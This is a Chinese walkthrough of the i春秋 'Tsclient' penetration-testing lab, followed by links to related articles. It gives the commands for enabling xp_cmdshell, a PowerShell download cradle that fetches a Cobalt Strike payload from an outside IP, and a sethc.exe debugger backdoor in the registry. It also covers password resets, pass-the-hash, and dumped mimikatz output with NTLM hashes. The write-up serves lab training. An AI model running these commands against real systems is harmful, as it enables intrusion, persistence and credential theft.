i春秋云镜之Tsclient

2023-12-16 00:44
文章标签 云镜 春秋 tsclient

本文主要是介绍i春秋云镜之Tsclient，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

首先拿到目标:39.99.137.155

首先通过Fscan扫描目标:
在这里插入图片描述
可以看到扫描出来了一个SqlServer的弱口令。

账号是sa，密码是1qaz!QAZ。

这里就不使用navicat进行连接了，这里使用impacket-mssqlclient进行连接。

impacket-mssqlclient sa:'1qaz!QAZ'@39.99.137.155 -port 1433

在这里插入图片描述
首先开启xpcmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

然后使用xpcmdshell执行命令。

exec xp_cmdshell 'dir c:\'

在这里插入图片描述
我们发现是权限是mssql权限，所以我们需要提权。

这里直接弹到cs上面:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://43.137.19.241:80/a'))"

在这里插入图片描述
但是需要注意的是会有标点符号的错误。

所以我们需要进行编码一下： https://r0yanx.com/tools/java_exec_encode/
在这里插入图片描述
拿到编码结果之后，然后运行。
在这里插入图片描述
可以看到已经上线了。
在这里插入图片描述
首先上传fscan。
在这里插入图片描述
然后使用fscan进行扫描内网。

fscan64.exe -h 172.22.8.0/24

172.22.8.15 DC
172.22.8.46 WIN2016.xiaorang.lab

在这里插入图片描述
我们可以发现这里面都是windows的机器，我们先提权。

这里使用PrintSpoofer64进行提权，可以发现已经提权成功了。
在这里插入图片描述
这里进行反弹shell。

这里使用之前的进行反弹shell。
在这里插入图片描述
然后通过mimikatz将密码或Hash。

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82549 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 787066 bytes
[+] received output:Authentication Id : 0 ; 597160 (00000000:00091ca8)
Session           : RemoteInteractive from 2
User Name         : John
Domain            : WIN-WEB
Logon Server      : WIN-WEB
Logon Time        : 2023/9/10 12:58:55
SID               : S-1-5-21-4088072006-1921831747-1237773115-1008msv :	[00000003] Primary* Username : John* Domain   : WIN-WEB* NTLM     : eec9381b043f098b011be51622282027* SHA1     : 18056c7dda082b2b219dbaac6157a1fb234403bctspkg :	wdigest :	* Username : John* Domain   : WIN-WEB* Password : (null)kerberos :	* Username : John* Domain   : WIN-WEB* Password : (null)ssp :	credman :	Authentication Id : 0 ; 570164 (00000000:0008b334)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:58:54
SID               : S-1-5-90-0-2msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 569758 (00000000:0008b19e)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:58:54
SID               : S-1-5-90-0-2msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 213937 (00000000:000343b1)
Session           : Service from 0
User Name         : MSSQLFDLauncher
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:27
SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 105373 (00000000:00019b9d)
Session           : Service from 0
User Name         : MSSQLSERVER
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : MSSQLSERVER* Domain   : NT Service* Password : (null)ssp :	credman :	Authentication Id : 0 ; 105176 (00000000:00019ad8)
Session           : Service from 0
User Name         : SSASTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-1549978933-2891762758-2075524219-3728768389-1145206490msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : SSASTELEMETRY* Domain   : NT Service* Password : (null)ssp :	credman :	Authentication Id : 0 ; 61591 (00000000:0000f097)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-90-0-1msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-WEB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-20msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : win-web$* Domain   : WORKGROUP* Password : (null)ssp :	credman :	Authentication Id : 0 ; 21788 (00000000:0000551c)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:04
SID               : msv :	tspkg :	wdigest :	kerberos :	ssp :	credman :	Authentication Id : 0 ; 597129 (00000000:00091c89)
Session           : RemoteInteractive from 2
User Name         : John
Domain            : WIN-WEB
Logon Server      : WIN-WEB
Logon Time        : 2023/9/10 12:58:55
SID               : S-1-5-21-4088072006-1921831747-1237773115-1008msv :	[00000003] Primary* Username : John* Domain   : WIN-WEB* NTLM     : eec9381b043f098b011be51622282027* SHA1     : 18056c7dda082b2b219dbaac6157a1fb234403bctspkg :	wdigest :	* Username : John* Domain   : WIN-WEB* Password : (null)kerberos :	* Username : John* Domain   : WIN-WEB* Password : (null)ssp :	credman :	Authentication Id : 0 ; 320509 (00000000:0004e3fd)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:47
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:17
SID               : S-1-5-17msv :	tspkg :	wdigest :	* Username : (null)* Domain   : (null)* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 106406 (00000000:00019fa6)
Session           : Service from 0
User Name         : SSISTELEMETRY130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-1625532266-625503396-2441596095-4129757946-3375356652msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 106366 (00000000:00019f7e)
Session           : Service from 0
User Name         : SQLTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : SQLTELEMETRY* Domain   : NT Service* Password : (null)ssp :	credman :	Authentication Id : 0 ; 105681 (00000000:00019cd1)
Session           : Service from 0
User Name         : MsDtsServer130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-3763098489-2620711134-3767674660-4164406483-1621732msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 105599 (00000000:00019c7f)
Session           : Service from 0
User Name         : ReportServer
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : ReportServer* Domain   : NT Service* Password : (null)ssp :	credman :	Authentication Id : 0 ; 105473 (00000000:00019c01)
Session           : Service from 0
User Name         : MSSQLServerOLAPService
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : MSSQLServerOLAPService* Domain   : NT Service* Password : (null)ssp :	credman :	Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-19msv :	tspkg :	wdigest :	* Username : (null)* Domain   : (null)* Password : (null)kerberos :	* Username : (null)* Domain   : (null)* Password : (null)ssp :	credman :	Authentication Id : 0 ; 61626 (00000000:0000f0ba)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-90-0-1msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	ssp :	credman :	Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN-WEB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:04
SID               : S-1-5-18msv :	tspkg :	wdigest :	* Username : WIN-WEB$* Domain   : WORKGROUP* Password : (null)kerberos :	* Username : win-web$* Domain   : WORKGROUP* Password : (null)ssp :	credman :

可以看到我们得到了John用户的Hash。

我们在查看query user的时候发现有一个用户产生的会话。
在这里插入图片描述
我们查看一下3389端口。
在这里插入图片描述
可以看到有内网的其他主机连接了我们的3389端口。

这里可能存在一个RDP反打， 参考文章：https://mp.weixin.qq.com/s/0dY0Gj2HxYw_EYhxixKzvQ

因为它在远程连接我们的时候把磁盘也挂载过来了，这里由于我们不能让对面那台主机重启所以我们不能通过写启动项的方式让他上线但我们在对方的C盘发现了一个用户以及提示的信息接下来就是进一步的操作这里先把权限切换到John用户。

我们可以查看共享文件。

net use

在这里插入图片描述
可以看到John是在远程组中的。
在这里插入图片描述
这里很明显要我们用这个因为又是远程组又是管理员组远程桌面挂载的磁盘是在\\tsclient\这个下面在查看之前我们还需要把权限切换为John因为对方远程登录的是这个桌面这里切忌一定不要远程上去你一旦远程上去 对方的连接就会断开 他的C盘也会断开所以你收集不到他的磁盘信息了迁移到John的进程上去ps查看以后迁移获得一个john用户的会话

迁移完进程之后w查看\tsclient\目录可以发现有一个credential.txt文件。
在这里插入图片描述
我们查看这个文件。可以发现它是一个域用户和密码。
在这里插入图片描述
里我们直接搭建一个socks4代理，然后rdp上去8.46这台主机。

但是用windows mstsc去登录的时候提示密码过期了，这里我们需要去使用rdesktop去登录。

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

在这里插入图片描述
这里同样我们也可以使用smbpasswd来进行密码修改。

proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Admin123..'@172.22.8.15 -newpass qwer1234!

修改完密码之后，我们查看下这个账户都有那些主机可以登录。

查看注册表权限，发现所有用户都对HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options创建和写入。
在这里插入图片描述
写入后门：

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

在这里插入图片描述
连续按5下shift。
在这里插入图片描述
然后我们通过bloodhound.py进行域内信息收集。

proxychains python3 bloodhound.py -d xiaorang.lab -u Aldrich -p Admin123.. -gc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.8.15

在这里插入图片描述
在这里插入图片描述
然后我们上传mimikatz到WIN2016里面。

然后将密码导出:
在这里插入图片描述

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )## \ / ##       > https://blog.gentilkiwi.com/mimikatz'## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )'#####'        > https://pingcastle.com / https://mysmartlogon.com ***/mimikatz(commandline) # privilege::debug
Privilege '20' OKmimikatz(commandline) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 19739416 (00000000:012d3318)
Session           : RemoteInteractive from 2
User Name         : Aldrich
Domain            : XIAORANG
Logon Server      : DC01
Logon Time        : 2023/9/10 15:08:53
SID               : S-1-5-21-3289074908-3315245560-3429321632-1105msv :	[00000003] Primary* Username : Aldrich* Domain   : XIAORANG* NTLM     : 283b022e27f25cd57ad5ebe1f468c04b* SHA1     : b945edab59edbfa67346679a86d181e100f0a13c* DPAPI    : db2e5b84ea0691c3ae7d57ae29af84cftspkg :	wdigest :	* Username : Aldrich* Domain   : XIAORANG* Password : (null)kerberos :	* Username : Aldrich* Domain   : XIAORANG.LAB* Password : (null)ssp :	credman :	Authentication Id : 0 ; 19507835 (00000000:0129aa7b)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 15:06:13
SID               : S-1-5-90-0-2msv :	[00000003] Primary* Username : WIN2016$* Domain   : XIAORANG* NTLM     : 4d52b3ef6bfb5be6c4223d9ec4dff5f2* SHA1     : ba772a78c405b8de1452352b9c6c8752581b203atspkg :	wdigest :	* Username : WIN2016$* Domain   : XIAORANG* Password : (null)kerberos :	* Username : WIN2016$* Domain   : xiaorang.lab* Password : 30 f1 3f 6f ad 57 45 34 07 55 41 35 61 82 7b 15 99 06 5d 56 2b 37 4b 2b 5d a8 b8 a2 97 0a 63 3a 44 52 88 bc de a1 14 35 1c 6e 0d 29 88 28 72 cf 31 f4 52 34 af 35 93 50 c7 42 6b

紧接着我们就可以直接hash传递了。
在这里插入图片描述

这篇关于i春秋云镜之Tsclient的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/498491。

相关文章

春秋云境-Brute4Road 【详细解析】

春秋云境-Brute4Road 【详细解析】

靶标介绍： Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。 内网地址Host or FQDN简要描述172.22.2.7外网 Redis 服务器172.22.2.18UBUNTU-W
阅读更多...
【内网渗透】最保姆级的春秋云镜Tsclient打靶笔记

【内网渗透】最保姆级的春秋云镜Tsclient打靶笔记

目录 ①fscan扫mssql账密，MDUT拿shell ②sweetpotato提权，cs拿shell ③John用户进程注入，读共享文件 ④fscan扫内网，frp内网穿透 ⑤喷洒密码，修改密码 ⑥RDP远程桌面连接 ⑦映像劫持提权 ⑧不出网转发上线CS ⑨PTH ①fscan扫mssql账密，MDUT拿shell GitHub - SafeGrocery
阅读更多...
【春秋云镜】CVE-2023-38633在librsvg ＜2.56.3版本中存在XXE漏洞

【春秋云镜】CVE-2023-38633在librsvg ＜2.56.3版本中存在XXE漏洞

1.靶标介绍 一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题，可以被本地或远程攻击者用来泄露文件（在预期区域之外的本地文件系统上），例如通过在 xi:include 元素中使用 href=“.?../…/…/…/…/…/…/…/…/…/etc/passwd” 来读取结果。 访问靶场： 2.漏洞分析 CVE-2023-38633主要是利用XXE漏洞，访问敏感
阅读更多...
春秋云镜 CVE-2023-52064

春秋云镜 CVE-2023-52064

靶标介绍： Wuzhicms v4.1.0 被发现存在一个 SQL 注入漏洞，该漏洞通过位于`/core/admin/copyfrom.php` 的 `$keywords` 参数触发。 开启靶场： 打开靶场链接，如上图所示 开始实验： 1、通过安装Wuzhicms的知后台登录链接：靶场链接/www/index.php?m=core&f=index&v=login&_su=wuzh
阅读更多...
i春秋 “百度杯”CTF比赛 2017 二月场 分值：10分 类型：MiscWeb题目名称：爆破-1

i春秋 “百度杯”CTF比赛 2017 二月场 分值：10分 类型：MiscWeb题目名称：爆破-1

分值：10分 类型：MiscWeb题目名称：爆破-1 题目内容： flag就在某六位变量中。 http://c04f614f28694cc1a65e93c5daa3f23ed4c100b475394d01.changame.ichunqiu.com <?phpinclude "flag.php"; //包含flag.php文件$a = @$_REQUEST['hello']; //
阅读更多...
春秋云镜 CVE-2023-51048

春秋云镜 CVE-2023-51048

靶标介绍： S-CMS v5.0 被发现存在SQLI。 开启靶场 根据题目查找S-CMS v5.0漏洞，百度没有查询到，使用必应搜索S-CMS v5.0 查找到githubCVE-2023-51052的描述 S-CMS v5.0 was discovered to contain a SQL injection... · CVE-2023-51052 · GitHub Adviso
阅读更多...
春秋云境：CVE-2022-32991[漏洞复现]

春秋云境：CVE-2022-32991[漏洞复现]

从CVE官网查询该漏洞相关信息 该漏洞是由于welcome.php中的eid参数包含了SQL注入漏洞 则我们的目标就在于寻找welcome.php地址以及相关的可注入eid参数 开启靶机 先在页面正常注册、登录一个账号。密码随便填  进入了home目录，这里有三个话题可以选择开启 随便选择一个进行开启点击Start即可 进入后查看网页URL  可以看到这里的URL地址就出现
阅读更多...
环保建设，快速启动：中建云镜项目引领模块化展示中心新趋势，实现循环经济

环保建设，快速启动：中建云镜项目引领模块化展示中心新趋势，实现循环经济

项目信息  项目名称 | 北京中建·云境项目展示中心 | 项目地址 | 北京，郭公庄 | 业主单位 | 中建东孚 | 设计建造 | 优积科技 | 竣工时间 |  2024.03 | 规模面积 | 1600平 中建·云境，中建东孚扛鼎之作： 北京中建·云境项目，坐落于郭公庄建国第一批总部基地区位。分为住宅、幼儿园和商办地块，货值储备约120亿元，住宅地块地上建筑面
阅读更多...
【美团笔试题汇总】2024-04-13-美团春秋招笔试题-三语言题解(CPP/Python/Java)

【美团笔试题汇总】2024-04-13-美团春秋招笔试题-三语言题解(CPP/Python/Java)

🍭 大家好这里是KK爱Coding ，一枚热爱算法的程序员 ✨ 本系列打算持续跟新美团近期的春秋招笔试题汇总～ 💻 ACM银牌🥈| 多次AK大厂笔试 ｜ 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📧 KK这边最近正在收集近一年互联网各厂的笔试题汇总，如果有需要的小伙伴可以关注后私信一下 KK领取，会在飞书进行同步的跟新。 文章目录 🍓 01.K小姐的好子矩阵问题
阅读更多...
【春秋招专场】央国企——国家电网

【春秋招专场】央国企——国家电网

国家电网目录 1.公司介绍1.1 业务1.2 组成 2.公司招聘2.1 招聘平台2.2 考试安排2.3 考试内容 3.公司待遇 1.公司介绍 1.1 业务 国家电网公司（State Grid Corporation of China，简称SGCC）是中国最大的国有企业之一，主要负责中国绝大部分地区的电力输送、配电以及电网的规划、建设和运营管理。国家电网公司成立于2002年，由原
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2